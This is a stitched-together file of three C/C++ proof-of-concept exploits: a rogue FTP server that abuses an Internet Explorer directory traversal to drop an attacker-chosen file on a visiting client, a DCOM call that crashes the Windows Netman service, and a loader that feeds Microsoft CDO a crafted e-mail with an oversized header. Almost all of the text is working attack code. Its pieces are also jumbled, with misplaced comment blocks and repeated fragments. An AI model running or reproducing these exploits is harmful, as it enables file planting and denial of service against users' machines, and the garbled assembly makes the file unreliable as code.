/*
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define MAX_BUF 1024
#define FTP_PORT 21

int main(int argc, char **argv) {
char ch;
char buffer[MAX_BUF + 1];
char ipbuf[MAX_BUF + 1];
char *local_file, *remote_file;
int sfdmain, sfdses, sfddata;
int readed;
int ip1,ip2,ip3,ip4,port1,port2;
int fd;
struct stat st;
struct sockaddr_in ftpmain = { AF_INET, htons(FTP_PORT), INADDR_ANY };
struct sockaddr_in ftpdata;

if (argc < 3) {
printf("\t7a69Adv#17 - Internet Explorer FTP Download Directory Traversal PoC Exploit\n");
printf("Use:\n");
printf("\t%s <local_file> <remote_file>\n", argv[0]);
exit(0);
}

local_file = argv[1];
remote_file = argv[2];

if ((fd = open(local_file, O_RDONLY)) == -1) {
perror("open()");
exit(-1);
}

if ((sfdmain = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(-1);
}

if (bind(sfdmain, (struct sockaddr *)&ftpmain, sizeof(struct sockaddr)) == -1) {
perror("bind()");
exit(-1);
}

if (listen(sfdmain, 1) == -1) {
perror("listen()");
exit(-1);
}

if ((sfdses = accept(sfdmain, NULL, NULL)) == -1) {
perror("accept()");
exit(-1);
}

write(sfdses, "200 OK\r\n", 8);

while ((readed = read(sfdses, buffer, MAX_BUF)) > 0) {
buffer[readed] = 0;
printf(">> %s", buffer);
if (!strncmp(buffer, "noop", 4)) write(sfdses, "200 OK\r\n", 8);
else if (!strncmp(buffer, "USER ", 5)) write(sfdses, "331 OK\r\n", 8);
else if (!strncmp(buffer, "PASS ", 5)) write(sfdses, "230 OK\r\n", 8);
else if (!strncmp(buffer, "CWD ", 4)) write(sfdses, "250 OK\r\n", 8);
else if (!strncmp(buffer, "PWD", 3)) write(sfdses, "257 \"/\"\r\n", 9);
else if (!strncmp(buffer, "TYPE ", 5)) write(sfdses, "200 OK\r\n", 8);
else if (!strncmp(buffer, "PORT ", 5)) {
sscanf(&buffer[5], "%i,%i,%i,%i,%i,%i", &ip1, &ip2, &ip3, &ip4, &port1, &port2);
snprintf(ipbuf, MAX_BUF, "%i.%i.%i.%i", ip1, ip2, ip3, ip4);
ftpdata.sin_family = AF_INET;
ftpdata.sin_addr.s_addr = inet_addr(ipbuf);
ftpdata.sin_port = htons(port1*256+port2);
if ((sfddata = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(-1);
}
if (connect(sfddata, (struct sockaddr *)&ftpdata, sizeof(struct sockaddr)) == -1) {
write(sfdses, "421 OK\r\n", 8);
} else {
write(sfdses, "220 OK\r\n", 8);
}
}
else if (!strncmp(buffer, "LIST", 4)) {
write(sfdses, "150 OK\r\n", 8);
snprintf(buffer, MAX_BUF, "-rwxrwxrwx 1 0 0 1 Dec 08 07:36
/../../../../../../../../../../..%s\r\n", remote_file);
write(sfddata, buffer, strlen(buffer));
close(sfddata);
write(sfdses, "226 OK\r\n", 8);

}
else if(!strncmp(buffer, "RETR ", 5)) {
write(sfdses, "150 OK\r\n", 8);
fstat(fd, &st);
while(st.st_size-- > 0) {
read(fd, &ch, 1);
write(sfddata, &ch, 1);
}
close(sfddata);
write(sfdses, "226 OK\r\n", 8);
}
else if (!strncmp(buffer, "QUIT", 4)) {
write(sfdses, "221 OK\r\n", 8);
close(sfdses); close(sfdmain); close(sfddata);
}
else
write(sfdses, "500 WTF\r\n", 9);


}
}
 

* Windows Netman Service Local DOS Vulnerability
*
* By bkbll bkbll#cnhonker.net 2005-7-14 2:49ÏÎç
*
* TESTED ON win2k sp4
*
* EventSystem,Irmon,RasMan,NtmsSvc,SENS
*
*/
#define _WIN32_DCOM

#include <stdio.h>
#include <stdlib.h>
#include <objbase.h>
#include <unknwn.h>
#include <windows.h>

#pragma comment(lib,"ole32")

MIDL_INTERFACE("98133274-4B20-11D1-AB01-00805FC1270E")
VCConnectionManagerEnumConnection //: public IDispatch
{
public:
virtual HRESULT STDMETHODCALLTYPE QueryInterface(void) = 0;
virtual ULONG STDMETHODCALLTYPE AddRef( void) = 0;
virtual ULONG STDMETHODCALLTYPE Release( void) = 0;
virtual HRESULT STDMETHODCALLTYPE next(void) = 0;
virtual HRESULT STDMETHODCALLTYPE skip(DWORD) = 0;
virtual HRESULT STDMETHODCALLTYPE reset(void) = 0;
virtual HRESULT STDMETHODCALLTYPE clone(void) = 0;
};
CLSID CLSID_ConnectionManagerEnumConnection = {0x0BA126AD2,0x2166,0x11D1,
{0xB1,0xD0, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};
IID IID_IEnumNetConnection = {0xC08956A0,0x1CD3,0x11D1,
{0x0B1,0x0C5, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};

//Ö÷º¯Êý
main(int argc,char **argv)
{
VCConnectionManagerEnumConnection *clientcall;
HRESULT hr;

printf("Windows Netman Service Local DOS Vulnerability..\n\n");
//³õʼ»¯
CoInitializeEx(NULL,COINIT_MULTITHREADED);

printf("DCOM Client Trying started\n");
hr = CoCreateInstance(CLSID_ConnectionManagerEnumConnection,NULL,
CLSCTX_LOCAL_SERVER,IID_IEnumNetConnection,(void**)&clientcall);
if (hr != S_OK)
{
printf("CoCreateInstanceEx failed:%d\n",GetLastError());
return -1;
}
printf("Exploit netman service ....\n");
hr = clientcall->skip(0x80000001);//(void**)&p);
if(SUCCEEDED(hr))
{
printf("Call client proc Success.\n");
}
else
printf("Call client proc failed:%d\n",GetLastError());
hr = clientcall->Release();
CoUninitialize();
printf("Client exited.\n");
return 1;
}

//
// Microsoft CDO Proof of Concept Exploit by Gary O'leary-Steele <garyo at sec-1.com>
//
// Step 1.
//
// Create an E-mail named vuln.eml including a large "Content-Type:" header.
//
// Step 2.
//
// Compile with -GX option
//

#import <msado15.dll> no_namespace rename("EOF", "adoEOF")
#import <cdosys.dll> rename_namespace("CDO")

#include <stdio.h>

int main()
{

CoInitialize(0);
try
{
CDO::IMessagePtr spMsg(__uuidof(CDO::Message));
_StreamPtr spStream(spMsg->GetStream());
spStream->Position = 0;
spStream->Type = adTypeBinary;
spStream->LoadFromFile("vuln.eml");
spStream->Flush();

for(long i = 1; i <= spMsg->BodyPart->BodyParts->Count; i++)
{
CDO::IBodyPartPtr spBdy = spMsg->BodyPart->BodyParts->Item[i];
_variant_t v =
spBdy->Fields->Item["urn:schemas:mailheader:Content-Type"]->Value;
}

}
catch(_com_error &e)
{
printf("COM error[0x%X, %s]\n", e.Error(),
(LPCTSTR)e.Description());
}
catch(...)
{
printf("General exception\n");
}

CoUninitialize();

return 0;
}

CDO::IBodyPartPtr spBdy = spMsg->BodyPart->BodyParts->Item[i];
_variant_t v =
spBdy->Fields->Item["urn:schemas:mailheader:Content-Type"]->Value;

// Step 1.
//
// Create an E-mail named vuln.eml including a large "Content-Type:" header.
//
// Step 2.
//
// Compile with -GX option
//

#import <msado15.dll> no_namespace rename("EOF", "adoEOF")
#import <cdosys.dll> rename_namespace("CDO")